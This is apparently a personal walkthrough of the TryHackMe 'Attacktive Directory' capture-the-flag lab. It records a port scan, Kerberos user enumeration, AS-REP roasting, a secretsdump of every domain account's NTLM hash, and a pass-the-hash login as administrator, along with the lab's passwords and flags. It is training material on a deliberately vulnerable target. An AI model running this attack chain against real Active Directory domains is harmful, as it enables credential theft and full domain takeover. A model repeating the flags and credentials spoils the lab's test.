Attacktive Directory

export IP='10.10.88.240'
OS: Windows

==
==

Nmap result:

```
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-03 15:41:23Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-01-03T15:42:30+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-01-03T15:42:21+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2024-01-02T15:33:42
|_Not valid after:  2024-07-03T15:33:42
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf       .NET Message Framing
47001/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc       Microsoft Windows RPC
49665/tcp open  msrpc       Microsoft Windows RPC
49666/tcp open  msrpc       Microsoft Windows RPC
49669/tcp open  msrpc       Microsoft Windows RPC
```

```
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49684/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49803/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-01-03T15:42:23
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
```

==

PORTS:

80 (HTTP)
88 (KRB) ; 464 -->(AD)
139,445 (SMB)
389,636(LDAP) ,3268,3269 (LDAPS)
3389 (RDP)
5985 (WINRM)

==

ENUMERATION:

For AD machines → if we find port 88 is open then we will start by enumerating it.
Also in case of AD: DNS plays an important role that is while solving the machine we have to configure our /etc/hosts file

88 (Kerberos)   AD --> spookysec.local

Enumerating Users via Kerberos:
USER ENUM:

```
2024/01/04 11:36:58 >  [+] VALID USERNAME:     james@spookysec.local
2024/01/04 11:37:02 >  [+] VALID USERNAME:     svc-admin@spookysec.local
2024/01/04 11:37:06 >  [+] VALID USERNAME:     James@spookysec.local
2024/01/04 11:37:07 >  [+] VALID USERNAME:     robin@spookysec.local
2024/01/04 11:37:22 >  [+] VALID USERNAME:     darkstar@spookysec.local
2024/01/04 11:37:32 >  [+] VALID USERNAME:     administrator@spookysec.local
2024/01/04 11:37:51 >  [+] VALID USERNAME:     backup@spookysec.local
2024/01/04 11:38:00 >  [+] VALID USERNAME:     paradox@spookysec.local
2024/01/04 11:38:57 >  [+] VALID USERNAME:     JAMES@spookysec.local
2024/01/04 11:39:16 >  [+] VALID USERNAME:     Robin@spookysec.local
```

Abusing Kerberos:
then go for **ASREPRoasting**:

using a tool from impacket:

```
./GetNPUsers.py -dc-ip 10.10.88.240 spookysec.local/ -usersfile ../../../home/debangshu/Desktop/ctf/thm/Attacktive-Directory/user.txt
```

Credentials:

svc-admin:management2005
backup:backup2517860

backup@spookysec.local:backup2517860

Elevating Privileges within the Domain:

(**NOTE:** the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes) (we can use another tool within Impacket called "secretsdump.py". This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer.)

```
./secretsdump.py -dc-ip $IP spookysec.local/backup:backup2517860@$IP
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
```

the last field is the NTLM hash

```
evil-winrm -i $IP -u administrator -H 0e0363213e37b94221497260b0bcb4fc
```

TryHackMe{K3rb3r0s_Pr3_4uth}

TryHackMe{B4ckM3UpSc0tty!}

TryHackMe{4ctiveD1rectoryM4st3r}